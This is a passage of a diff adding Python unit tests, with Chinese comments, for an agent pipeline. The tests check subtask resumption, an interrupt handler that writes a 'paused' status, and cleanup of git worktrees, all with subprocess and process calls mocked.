+            confirmed, repo, task_dir, logger,
+            config={}, headless=False, parallel=1,
+            issue_ref="", meta=_default_meta(),
+            completed_ids={"sub-1"},
+        )
+
+        # run_subtask 只应被调用 2 次（sub-2, sub-3）
+        assert mock_run_subtask.call_count == 2
+        executed_ids = [c.args[1]["id"] for c in mock_run_subtask.call_args_list]
+        assert "sub-1" not in executed_ids
+        assert "sub-2" in executed_ids
+        assert "sub-3" in executed_ids
+
+    # ── 6. 中断信号设置 paused 状态 ─────────────────────────────────────
+    @patch("agent_go.pipeline.subprocess.run")
+    @patch("agent_go.pipeline._worktree_prune", return_value=(True, ""))
+    @patch("agent_go.pipeline._worktree_remove", return_value=(True, ""))
+    @patch("agent_go.pipeline._set_gc_auto", return_value=("1", True, ""))
+    @patch("agent_go.pipeline.run_subtask")
+    def test_interrupt_handler_writes_paused(
+        self, mock_run_subtask, mock_gc, mock_wt_remove, mock_wt_prune, mock_subproc,
+        temp_dir, logger,
+    ):
+        """_on_interrupt 信号处理器的核心逻辑：写 meta.json status=paused、kill 活跃进程。
+
+        由于 _on_interrupt 是 _run_pipeline 内部闭包，我们通过运行 pipeline 捕获
+        注册的信号处理器，然后直接调用它来测试行为。
+        注意：需先屏蔽 SIGINT 防止 handler 触发 KeyboardInterrupt 传播到 pytest。
+        """
+        import os
+        import sys as _sys
+
+        sub1 = _make_subtask("sub-1")
+        confirmed = [sub1]
+
+        repo = temp_dir / "repo"
+        repo.mkdir()
+        (repo / ".git").mkdir()
+        task_dir = temp_dir / "tasks" / "t1"
+        task_dir.mkdir(parents=True)
+
+        meta = _default_meta()
+        mock_subproc.return_value = MagicMock(returncode=0, stdout="", stderr=b"")
+        mock_run_subtask.return_value = _success_result("sub-1")
+
+        # 捕获 _run_pipeline 注册的信号处理器
+        captured_handler = [None]
+        original_signal_fn = signal.signal
+
+        def _capturing_signal(signum, handler):
+            if signum in (signal.SIGINT, signal.SIGTERM) and callable(handler):
+                captured_handler[0] = handler
+            return original_signal_fn(signum, handler)
+
+        # 先屏蔽 SIGINT，防止后续调用 handler 时 KeyboardInterrupt 传播
+        saved_sigint = signal.signal(signal.SIGINT, signal.SIG_IGN)
+
+        try:
+            with patch("signal.signal", side_effect=_capturing_signal):
+                _run_pipeline(
+                    confirmed, repo, task_dir, logger,
+                    config={}, headless=False, parallel=1,
+                    issue_ref="", meta=meta,
+                )
+
+            assert captured_handler[0] is not None, "信号处理器应被注册"
+
+            # 直接调用捕获的 _on_interrupt 闭包来测试其行为
+            # mock sys.exit 和 os.kill 以避免真实退出/杀进程
+            with patch.object(_sys, "exit") as mock_exit, \
+                 patch("os.kill") as mock_kill:
+                captured_handler[0](signal.SIGTERM, None)
+
+                # 验证 sys.exit(0) 被调用
+                mock_exit.assert_called_once_with(0)
+
+                # 验证 meta.json 写入 paused
+                meta_file = task_dir / "meta.json"
+                assert meta_file.exists(), "meta.json 应被写入"
+                saved = json.loads(meta_file.read_text(encoding="utf-8"))
+                assert saved["status"] == "paused", f"status 应为 paused，实际: {saved['status']}"
+        finally:
+            signal.signal(signal.SIGINT, saved_sigint)
+
+    # ── 7. Worktree 清理 ─────────────────────────────────────────────────
+    @patch("agent_go.pipeline.subprocess.run")
+    @patch("agent_go.pipeline._worktree_prune", return_value=(True, ""))
+    @patch("agent_go.pipeline._worktree_remove", return_value=(True, ""))
+    @patch("agent_go.pipeline._set_gc_auto", return_value=("1", True, ""))
+    @patch("agent_go.pipeline.run_subtask")
+    def test_cleanup_after_pipeline(
+        self, mock_run_subtask, mock_gc, mock_wt_remove, mock_wt_prune, mock_subproc,
+        temp_dir, logger,
+    ):
+        """管线结束后 worktree_remove 和 worktree_prune 被调用。"""
+        sub1 = _make_subtask("sub-1")
+        sub2 = _make_subtask("sub-2")
+        confirmed = [sub1, sub2]
+
+        repo = temp_dir / "repo"
+        repo.mkdir()
+        (repo / ".git").mkdir()
+        task_dir = temp_dir / "tasks" / "t1"
+        task_dir.mkdir(parents=True)
+
+        # 创建 worktree 目录，让 _worktree_remove 有路径可清理
+        for sub_id in ["sub-1", "sub-2"]:
+            wt = task_dir / sub_id / "work"
+            wt.mkdir(parents=True)
+
+        mock_run_subtask.side_effect = [
+            _success_result("sub-1"),
+            _success_result("sub-2"),
+        ]
+        mock_subproc.return_value = MagicMock(returncode=0, stdout="", stderr=b"")
+
+        _run_pipeline(
+            confirmed, repo, task_dir, logger,
+            config={}, headless=False, parallel=1,
+            issue_ref="", meta=_default_meta(),
+        )
+
+        # _worktree_remove 应为每个子任务调用一次
+        assert mock_wt_remove.call_count == 2
+        # _worktree_prune 应被调用一次
+        assert mock_wt_prune.call_count == 1
+
+        # 验证 remove 的路径正确
+        removed_paths = [c.args[1] for c in mock_wt_remove.call_args_list]
+        assert task_dir / "sub-1" / "work" in removed_paths
+        assert task_dir / "sub-2" / "work" in removed_paths